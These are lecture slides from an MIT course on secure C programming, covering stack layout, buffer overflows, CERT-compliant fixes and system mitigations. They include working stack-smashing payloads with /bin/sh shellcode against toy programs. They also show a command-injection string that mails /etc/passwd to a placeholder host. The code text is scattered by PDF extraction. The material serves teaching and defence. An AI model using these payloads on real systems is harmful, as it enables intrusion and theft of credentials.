Secure Programming in C Lef Ioannidis MIT EECS

Secure Programming in C
Lef Ioannidis
MIT EECS
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
1
Introductions
Me
Junior at MIT, course 6.2. Interested in Computer Security,
Operating Systems, Distributed Computing and System
Administration.
You
Computer programmers with knowledge in C and Systems,
can read assembly, interested in writing secure code.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
2
Vulnerability statistics over the years (NIST)
Image is in the public domain. Courtesy of National Institute of Standards and Technology (NIST).
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
3
Lecture Roadmap
What we will cover:
Example attacks and exploits.
C-specific prevention & mitigation.
System-wide prevention & mitigation.
Target: GNU/Linux systems.
CC: GCC >= 4.4.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
4
Case study: the notorious buffer overflow
A buffer overflow example.
A
B
0 0 0 0 0 0 0 0 0 3
“excessive”
A
A
‘e’ ‘x’ ‘c’ ‘e’ ‘s’ ‘s’
B
‘i’ ‘v’ ‘e’
0
Image by MIT OpenCourseWare.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
5
Memory Management: Linux
Courtesy of Gustavo Duarte. Used with permission.
http://duartes.org/gustavo/blog/
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
6
Vulnerable code
1
#i n c l u d e <s t r i n g . h >
2
3
#d e f i n e g o o d P a s s ”GOODPASS”
4
5
6
7
i n t main ( ) {
c h a r p a s s I s G o o d =0 ;
char buf [ 8 0 ] ;
8
p r i n t f ( ” E n t e r p a s s w o r d : \ n” ) ;
gets ( buf ) ;
9
10
11
i f ( s t r c m p ( buf , g o o d P a s s )==0)
p a s s I s G o o d =1 ;
i f ( p a s s I s G o o d == 1 )
p r i n t f ( ”You win ! \ n” ) ;
12
13
14
15
16
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
7
Our first exploit
/bin/bash
$ python -c " print ’x’*80 + ’\x01’ " | ./test1
Enter password:
You win!
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
8
Our first exploit
/bin/bash
$ python -c " print ’x’*80 + ’\x01’ " | ./test1
Enter password:
You win!
$
courier
Line 10: gets(buf);
“Never use gets().” - GNU Man pages(3), gets()
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
9
Secure version of previous code
1
2
#i n c l u d e <s t r i n g . h >
#i n c l u d e <s t d i o . h >
3
4
5
#d e f i n e g o o d P a s s ”GOODPASS”
#d e f i n e STRSIZE 80
6
7
8
9
i n t main ( ) {
c h a r p a s s I s G o o d =0 ;
c h a r b u f [ STRSIZE+1] ;
10
p r i n t f ( ” E n t e r p a s s w o r d : \ n” ) ;
f g e t s ( buf , STRSIZE , s t d i n ) ;
11
12
13
i f ( s t r n c m p ( buf , goodPass , STRSIZE)==0)
p a s s I s G o o d =1 ;
i f ( p a s s I s G o o d == 1 )
p r i n t f ( ”You win ! \ n” ) ;
14
15
16
17
18
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
10
The stack: Linux
0xBFFFFDBC
int y
Function_B’s stack frame
int x
Saved EBP
Saved EIP (points to a location in function_A)
function_B argument 1 (int a)
function_B argument 2 (int b)
Function_A’s stack frame
int c
Saved EBP
Saved EIP (points to a location in main)
function_A argument 1 (int p)
Main’s stack frame
function_A argument 2 (int q)
int ret
Saved EBP
Saved EIP (points to a location in_libc_start_main)
int argc
char**argv
0xBFFFFE00
char**envp
_libc_start_main() stuff..
Stack base
Image by MIT OpenCourseWare.
Dowd, McDonald, Schuh-The art of software security assesment,fig: 5.3
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
11
Stack frames: C
How functions are pushed in the stack:
1
2
3
4
void function ( int a , int b , int c ) {
char buffer1 [ 5 ] ;
char buffer2 [ 1 0 ] ;
}
5
6
7
8
v o i d main ( ) {
function (1 ,2 ,3) ;
}
© Gordon Lyon. All rights reserved. This content is excluded from our Creative Commons
license. For more information, see http://ocw.mit.edu/help/faq-fair-use/.
Aleph One - Smashing the stack for fun and profit
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
12
Stack frames: x86 assembly
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function :
pushl
movl
subl
leave
ret
.size
. g l o b l main
.type
main :
pushl
movl
subl
movl
movl
movl
call
leave
ret
%ebp
%esp , %ebp
$16 , %e s p
f u n c t i o n , . −f u n c t i o n
main , @ f u n c t i o n
%ebp
%esp , %ebp
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
13
Stack operations to call function
1
2
3
4
5
subl
movl
movl
movl
call
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function
3× sizeof(int) = 12 bytes.
Note: The arguments are in reverse order because the Linux
stack grows down.
Call will push the IP in the stack.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
14
Stack operations to call function
1
2
3
4
5
subl
movl
movl
movl
call
$12 , %e s p
$3 , 8(% e s p )
$2 , 4(% e s p )
$1 , (% e s p )
function
1
2
3
4
function :
p u s h l %ebp
movl %esp , %ebp
s u b l $16 , %e s p
Pushes the base pointer (EBP) in the stack, now it’s a saved
frame pointer (SFP).
Moves the stack pointer (ESP) in EBP, substituting the
previous address.
Subtracts space for the local variables from ESP.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
15
Smashing the stack
Using buffer overflow to overwrite a return address.
Stack frame
pointer
Pass big
buffer
Hand-crafted
code
Pointer
to start
of buffer
buff
SFP
Parameter
str
Ret
str
Stack after
attack
Local variable buff
Execute from here on function return!
Function’s return
address
Images by MIT OpenCourseWare.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
16
Cool exercise: stack4.c
1
2
3
i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;
4
p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ;
gets ( buf ) ;
5
6
7
i f ( c o o k i e == 0 x 000a0d00 )
p r i n t f ( ” you win ! \ n” ) ;
8
9
10
}
© Gera at Core SECURITY TECHNOLOGIES Community. All rights reserved. This content is excluded from our Creative
Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/.
"http://community.corest.com/~gera/InsecureProgramming/"
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
17
Cool exercise: stack4.c
1
2
3
i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;
4
p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ;
gets ( buf ) ;
5
6
7
i f ( c o o k i e == 0 x 000a0d00 )
p r i n t f ( ” you win ! \ n” ) ;
8
9
10
}
Still uses gets(), so it is vulnerable to buffer overflow.
0x000a0d00 == { NULL, new line, carriage return, NULL }
Impossible to write 0x000a0d00 to cookie because all these
bytes trigger gets() to stop reading characters.
We need to redirect program flow to printf(“You win\n”);
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
18
Overwriting the EIP
1
2
3
i n t main ( ) {
int cookie ;
char buf [ 8 0 ] ;
4
p r i n t f ( ” b u f : %08x c o o k i e : %08x \n” , &buf , &c o o k i e ) ;
gets ( buf ) ;
5
6
7
i f ( c o o k i e == 0 x 000a0d00 )
p r i n t f ( ” you win ! \ n” ) ;
8
9
10
}
When a function is called it imediatelly pushes the EIP into
the stack (SFP).
After it is complete a ret instruction pops the stack and
moves SFP back to EIP.
Trick: Overwrite the SFP, while it’s in the stack.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
19
Exploiting stack#4.c
/bin/bash
$ gdb stack4
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
$
courier
EIP is overwritten! 0x61616161 = “aaaa”
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
20
Now let’s disassemble main()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0 x08048424
0 x08048425
0 x08048427
0 x0804842a
0 x0804842d
0 x08048431
0 x08048435
0 x08048439
0 x0804843d
0 x08048444
0 x08048449
0 x0804844d
0 x08048450
0 x08048455
0 x08048459
0 x0804845e
0 x08048460
0 x08048467
0 x0804846c
0 x0804846d
<main+0>: push
<main+1>: mov
<main+3>: and
<main+6>: s u b
<main+9>: l e a
<main +13>: mov
<main +17>: l e a
<main +21>: mov
<main +25>: movl
<main +32>: c a l l
<main +37>: l e a
<main +41>: mov
<main +44>: c a l l
<main +49>: mov
<main +53>: cmp
<main +58>: j n e
<main +60>: movl
<main +67>: c a l l
<main +72>: l e a v e
<main +73>: r e t
Lef Ioannidis
How to secure your stack for fun and profit
%ebp
%esp ,% ebp
$ 0 x f f f f f f f 0 ,% e s p
$0x70 ,% e s p
0 x 6 c(% e s p ) ,% e a x
%eax , 0 x8(% e s p )
0 x 1 c(% e s p ) ,% e a x
%eax , 0 x4(% e s p )
$0x8048530 ,(% e s p )
0 x8048350 < p r i n t f @ p l t >
0 x 1 c(% e s p ) ,% e a x
%eax ,(% e s p )
0 x8048330 <g e t s @ p l t >
0 x 6 c(% e s p ) ,% e a x
$0xa0d00 ,% e a x
0 x 8 0 4 8 4 6 c <main+72>
$0x8048548 ,(% e s p )
0 x8048360 <p u t s @ p l t >
MIT EECS
21
Registers
/bin/gdb stack4
(gdb) b *0x0804846d
(gdb) r
Starting program: stack4
buf: bffff58c cookie: bffff5dc
aaaaaaaaaaaaaaaa
Breakpoint 1, 0x0804846d in main () at stack4.c:13
(gdb) info registers
eax
0xb7fc8ff4 -1208184844
ecx
0xbffff58c -1073744500
edx
0xb7fca334 -1208179916
ebx
0xb7fc8ff4 -1208184844
esp
0xbffff5ec 0xbffff5ec
ebp
0xbffff668 0xbffff668
esi
0x0 0
edi
0x0 0
eip
0x804846d 0x804846d <main+73>
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
22
We have everything we need
buf: bffff58c
esp: 0xbffff5ec 0xbffff5ec
1
2
3
4
0 x08048459
0 x0804845e
0 x08048460
0 x08048467
<main +53>:
<main +58>:
<main +60>:
<main +67>:
cmp
jne
movl
call
$0xa0d00 ,% e a x
0 x 8 0 4 8 4 6 c <main+72>
$0x8048548 ,(% e s p )
0 x8048360 <p u t s @ p l t >
0xbffff5ec − 0xbffff58c = 0x00000060 = 96 bytes we need to overflow.
Jump to: 0x08048460
Linux → Reverse stack → \x60\x84\x04\x08
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
23
Payload: Control Flow Redirection
/bin/bash
$ python -c ’’print ’a’ * 96 + ’\x60\x84\x04\x08’ ’’ |
./test1
buf: bffff58c cookie: bffff5dc
you win!
Segmentation fault
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
24
Payload: Getting shell
exploit.py
#!/usr/bin/env python
shellcode = ’\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\
x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\
x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\
xff\xff/bin/sh’
courier
print shellcode + ’\x90’ * 51 + ’\x5c\xb3\x04\x08’
/bin/bash -> Got shell!
$ python exploit.py | ./stack4
buf: bffff58c cookie: bffff5dc
$
courier
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
25
Other Attacks
- Off-by-one exploits
Common programming mistake when computing array boundaries.
In little endian architectures this can result in overwriting the least
significant byte.
Apache off-by-one bug 2007, sudo off-by-one bug 2008 etc.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
26
Other Attacks
- Return-to-libc
Similar in principal to a buffer overflow but instead of executing
arbitrary shellcode you call functions from libc.so.
Works when a noexec stack is enforced.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
27
Other Attacks
- Heap Overflow
Taking advantage of libc bugs to take over dynamicaly allocated
memory, or even the memory allocator itself. Many 0-day exploits
nowdays are heap overflows.
He who controls the allocator, controls the system! - Anonymous
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
28
→
More information
The Phrack magazine. (http://www.phrack.org)
The Defcon Conference. (http://www.defcon.org)
LL CTF, MIT SEC seminars.
Next: C-specific prevention & mitigation
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
29
Secure your code: CERT secure coding standards
Logo for CERT Software Engineering Institute, Carnegie Mellon removed due to copyright restrictions.
Standards for C, C++ and Java (some still under
development).
Managed string library.
Real world examples of insecure code.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
30
Learning by the coutner-example of others
Bad code examples will help you learn how to write secure code
and prevent:
Security Holes
Undefined beheaviour
Obscurity
Errors
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
31
String null termination errors#1
1
2
3
i n t main ( i n t a r g c , c h a r ∗ a r g v [ ] ) {
char cmdline [4096] ;
c m d l i n e [ 0 ] = ’ \0 ’ ;
4
f o r ( i n t i = 1 ; i < a r g c ; ++i ) {
s t r c a t ( cmdline , argv [ i ] ) ;
s t r c a t ( cmdline , ” ” ) ;
}
/∗ . . . ∗/
return 0 ;
5
6
7
8
9
10
11
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
32
Compliant code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
i n t main ( i n t a r g c , c h a r ∗ a r g v [ ] ) {
size t bufsize = 0;
size t buflen = 0 ;
c h a r ∗ c m d l i n e = NULL ;
f o r ( i n t i = 1 ; i < a r g c ; ++i ) {
const s i z e t len = s t r l e n ( argv [ i ] ) ;
i f ( b u f s i z e − b u f l e n <= l e n ) {
bufsize = ( bufsize + len ) ∗ 2 ;
cmdline = r e a l l o c ( cmdline , b u f s i z e ) ;
i f (NULL == c m d l i n e )
return 1 ;
/∗ r e a l l o c f a i l u r e ∗/
}
memcpy ( c m d l i n e + b u f l e n , a r g v [ i ] , l e n ) ;
b u f l e n += l e n ;
c m d l i n e [ b u f l e n ++] = ’ ’ ;
}
c m d l i n e [ b u f l e n ] = ’ \0 ’ ;
/∗ . . . ∗/
f r e e ( cmdline ) ;
return 0 ;
}
21
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
33
String null termination errors#2
1
c h a r b u f [ BUFSIZ ] ;
2
3
4
5
i f ( g e t s ( b u f ) == NULL) {
/∗ H a n d l e E r r o r ∗/
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
34
Compliant code
1
2
3
c h a r b u f [ BUFFERSIZE ] ;
i n t ch ;
c h a r ∗p ;
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
i f ( f g e t s ( buf , s i z e o f ( b u f ) , s t d i n ) ) {
/∗ f g e t s s u c c e e d s , s c a n f o r n e w l i n e c h a r a c t e r ∗/
p = s t r c h r ( buf , ’ \n ’ ) ;
i f (p)
∗ p = ’ \0 ’ ;
else {
/∗ n e w l i n e n o t found , f l u s h s t d i n t o end o f l i n e ∗/
w h i l e ( ( ( ch = g e t c h a r ( ) ) != ’ \n ’ )
&& ! f e o f ( s t d i n )
&& ! f e r r o r ( s t d i n )
);
}
}
else {
/∗ f g e t s f a i l e d , h a n d l e e r r o r ∗/
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
35
String null termination errors#3
1
2
3
4
char ∗ s t r i n g d a t a ;
char a [ 1 6 ] ;
/∗ . . . ∗/
strncpy (a , string data ,
Lef Ioannidis
How to secure your stack for fun and profit
s i z e o f (a )) ;
MIT EECS
36
Compliant solution:
1
2
c h a r ∗ s t r i n g d a t a = NULL ;
char a [ 1 6 ] ;
3
4
/∗ . . . ∗/
5
6
7
8
9
10
11
12
13
14
i f ( s t r i n g d a t a == NULL) {
/∗ H a n d l e n u l l p o i n t e r e r r o r ∗/
}
e l s e i f ( s t r l e n ( s t r i n g d a t a ) >= s i z e o f ( a ) ) {
/∗ H a n d l e o v e r l o n g s t r i n g e r r o r ∗/
}
else {
strcpy (a , string data ) ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
37
Passing strings to complex subsystems
1
2
s p r i n t f ( b u f f e r , ” / b i n / m a i l %s < /tmp/ e m a i l ” , a d d r ) ;
system ( b u f f e r ) ;
© O'Reilly Media. All rights reserved. This content is excluded from our Creative Commons
license. For more information, see http://ocw.mit.edu/help/faq-fair-use/.
Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography,
Authentication, Networking, Input Validation & More.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
38
Passing strings to complex subsystems
1
2
s p r i n t f ( b u f f e r , ” / b i n / m a i l %s < /tmp/ e m a i l ” , a d d r ) ;
system ( b u f f e r ) ;
What if:
bogus@addr.com; cat /etc/passwd |mail somebadguy.net
© O'Reilly Media. All rights reserved. This content is excluded from our Creative Commons
license. For more information, see http://ocw.mit.edu/help/faq-fair-use/.
Viega, John, & Messier, Matt. Secure Programming Cookbook for C and C++: Recipes for Cryptography,
Authentication, Networking, Input Validation & More.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
39
Compliant solution: Whitelisting
1
2
3
4
5
6
7
8
9
10
11
s t a t i c char ok chars [ ] = ” abcdefghijklmnopqrstuvwxyz ”
”ABCDEFGHIJKLMNOPQRSTUVWXYZ”
” 1234567890 −.@ ” ;
c h a r u s e r d a t a [ ] = ”Bad c h a r 1 : } Bad c h a r 2 : { ” ;
c h a r ∗ cp = u s e r d a t a ; /∗ c u r s o r i n t o s t r i n g ∗/
c o n s t c h a r ∗ end = u s e r d a t a + s t r l e n ( u s e r d a t a ) ;
f o r ( cp += s t r s p n ( cp , o k c h a r s ) ;
cp != end ;
cp += s t r s p n ( cp , o k c h a r s ) ) {
∗ cp = ’ ’ ;
}
Based on the tcp wrappers package written by Wietse Venema
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
40
Off-by-one errors
Can you find all the off-by-one errors?
1
2
3
4
5
6
7
8
9
10
i n t main ( i n t a r g c , c h a r ∗ a r g v [ ] ) {
char source [ 1 0 ] ;
s t r c p y ( s o u r c e , ” 0123456789 ” ) ;
char ∗ d e s t = ( char ∗) malloc ( s t r l e n ( s o u r c e ) ) ;
f o r ( i n t i =1 ; i <= 1 1 ; i ++) {
dest [ i ] = source [ i ] ;
}
d e s t [ i ] = ’ \0 ’ ;
p r i n t f ( ” d e s t = %s ” , d e s t ) ;
}
© Carnegie Mellon University. All rights reserved. This content is excluded from our Creative
Commons license. For more information, see http://ocw.mit.edu/help/faq-fair-use/.
Robert Seacord, CERT: Safer strings in C
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
41
Integer overflow errors#1: Addition
1
u n s i g n e d i n t u i 1 , u i 2 , usum ;
2
3
/∗ I n i t i a l i z e
u i 1 and u i 2 ∗/
4
5
usum = u i 1 + u i 2 ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
42
Compliant code
1
u n s i g n e d i n t u i 1 , u i 2 , usum ;
2
3
/∗ I n i t i a l i z e
u i 1 and u i 2 ∗/
4
5
6
7
8
9
10
i f (UINT MAX − u i 1 < u i 2 ) {
/∗ h a n d l e e r r o r c o n d i t i o n ∗/
}
else {
usum = u i 1 + u i 2 ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
43
Integer overfloat errors#2: Subtraction
1
signed int si1 , si2 ,
result ;
2
3
/∗ I n i t i a l i z e
s i 1 and s i 2 ∗/
4
5
result = si1 − si2 ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
44
Compliant code
1
signed int si1 , si2 ,
result ;
2
3
/∗ I n i t i a l i z e
s i 1 and s i 2 ∗/
4
5
6
7
8
9
10
11
if
( ( s i 2 > 0 && s i 1 < INT MIN + s i 2 ) | |
( s i 2 < 0 && s i 1 > INT MAX + s i 2 ) ) {
/∗ h a n d l e e r r o r c o n d i t i o n ∗/
}
else {
result = si1 − si2 ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
45
Integer overfloat errors#3: Multiplication
1
2
signed int si1 , si2 ,
result ;
3
4
/∗ . . . ∗/
5
6
result = si1 ∗ si2 ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
46
Compliant code
1
signed int si1 , si2 ,
result ;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/ ∗ I n i t i a l i z e s i 1 and s i 2 ∗/
static assert (
s i z e o f ( l o n g l o n g ) >= 2 ∗ s i z e o f ( i n t ) ,
” Unable to d e t e c t o v e r f l o w a f t e r m u l t i p l i c a t i o n ”
);
s i g n e d l o n g l o n g tmp = ( s i g n e d l o n g l o n g ) s i 1 ∗
( signed long long ) s i 2 ;
/∗
∗ I f t h e p r o d u c t c a n n o t be r e p r e s e n t e d a s a 32− b i t i n t e g e r ,
∗ h a n d l e a s an e r r o r c o n d i t i o n .
∗/
i f ( ( tmp > INT MAX ) | | ( tmp < INT MIN ) ) {
/∗ h a n d l e e r r o r c o n d i t i o n ∗/
}
else {
r e s u l t = ( i n t ) tmp ;
}
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
47
GCC Preprocessor: Inlines VS macros
Non-compliant code
1
2
3
#d e f i n e CUBE(X) ( ( X) ∗ (X) ∗ (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
48
GCC Preprocessor: Inlines VS macros
Non-compliant code
1
2
3
#d e f i n e CUBE(X) ( ( X) ∗ (X) ∗ (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;
Expands to:
1
i n t a = 81 / ((++ i ) ∗ (++ i ) ∗ (++ i ) ) ; // U n d e f i n e d !
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
49
GCC Preprocessor: Inlines VS macros
Non-compliant code
1
2
3
#d e f i n e CUBE(X) ( ( X) ∗ (X) ∗ (X ) )
int i = 2;
i n t a = 81 / CUBE(++ i ) ;
Expands to:
1
i n t a = 81 / ((++ i ) ∗ (++ i ) ∗ (++ i ) ) ; // U n d e f i n e d !
Compliant code
1
2
3
4
5
i n l i n e i n t cube ( i n t i ) {
return i ∗ i ∗ i ;
}
int i = 2;
i n t a = 81 / c u b e(++ i ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
50
Pointer arithmetic: Never for different arrays
1
2
3
4
i n t nums [ SIZE ] ;
c h a r ∗ s t r i n g s [ SIZE ] ;
i n t ∗ n e x t n u m p t r = nums ;
int free bytes ;
5
6
/∗ i n c r e m e n t n e x t n u m p t r a s a r r a y
f i l l s ∗/
7
8
f r e e b y t e s = s t r i n g s − ( char ∗∗) next num ptr ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
51
Compliant solution
1
2
3
4
i n t nums [ SIZE ] ;
c h a r ∗ s t r i n g s [ SIZE ] ;
i n t ∗ n e x t n u m p t r = nums ;
int free bytes ;
5
6
/∗ i n c r e m e n t n e x t n u m p t r a s a r r a y
f i l l s ∗/
7
8
f r e e b y t e s = (&( nums [ SIZE ] ) − n e x t n u m p t r ) ∗ s i z e o f ( i n t ) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
52
GCC Preprocessor: inlines VS macros
Non-compliant code
1
2
#d e f i n e F ( x ) (++ o p e r a t i o n s , ++c a l l s t o F , 2∗ x )
#d e f i n e G( x ) (++ o p e r a t i o n s , ++c a l l s t o G , x + 1 )
3
4
y = F ( x ) + G( x ) ;
The variable operations is both read and modified twice in the
same expression, so it can receive the wrong value.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
53
Compliant code
1
2
3
4
5
6
7
8
9
10
inline int f ( int x) {
++o p e r a t i o n s ;
++c a l l s t o f ;
r e t u r n 2∗ x ;
}
inline int g( int x) {
++o p e r a t i o n s ;
++c a l l s t o g ;
return x + 1 ;
}
11
12
y = f (x) + g(x) ;
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
54
Advanced techniques for securing your code
Using secure libraries: Managed string library, Microsoft
secure string library, safeStr.
They provide alternatives to insecure standard C functions.
(ie: safeStr)
safestr
safestr
safestr
safestr
safestr
safestr
safestr
safestr
Lef Ioannidis
How to secure your stack for fun and profit
append()
nappend()
compare()
find()
copy()
length()
sprintf()
vsprintf()
strcat()
strncat()
strcpy()
strncpy()
strcmp()
strlen()
sprintf()
vsprintf()
MIT EECS
55
→
Advanced techniques for securing your code
Canaries
Terminator: NULL, CR, LF, -1. Weak because the canary is
known.
Random: Generating random bytes in the end of buffer during
runtime.
Random XOR: Random canaries XOR scrambled with all or
parts of the control data.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
56
Protecting your System
WˆX protection, the data section on the stack is flagged as
not executable and the program memory as not writable.
ASLR: Address space layout randomization. Randomly
allocate shared libraries, stack and heap.
Setting the NX bit: CPU support for flagging executable and
non-executable data. Reduces overhead for WˆX.
iOS5: CSE: Code Signing Enforcement. Signing each
executable memory page and checking the CS VALID flag.
Prevents changes in executable code during runtime.
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
57
Examples
PaX on Linux
OpenBSD kernel
Hardened Gentoo
grsecurity
Microsoft Windows Server 2008 R2
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
58
That’s all!
Thank you. Questions?
Lef Ioannidis
How to secure your stack for fun and profit
MIT EECS
59
MIT OpenCourseWare
http://ocw.mit.edu
6.S096 Effective Programming in C and C++
IAP 2014
For information about citing these materials or our Terms of Use, visit: http://ocw.mit.edu/terms.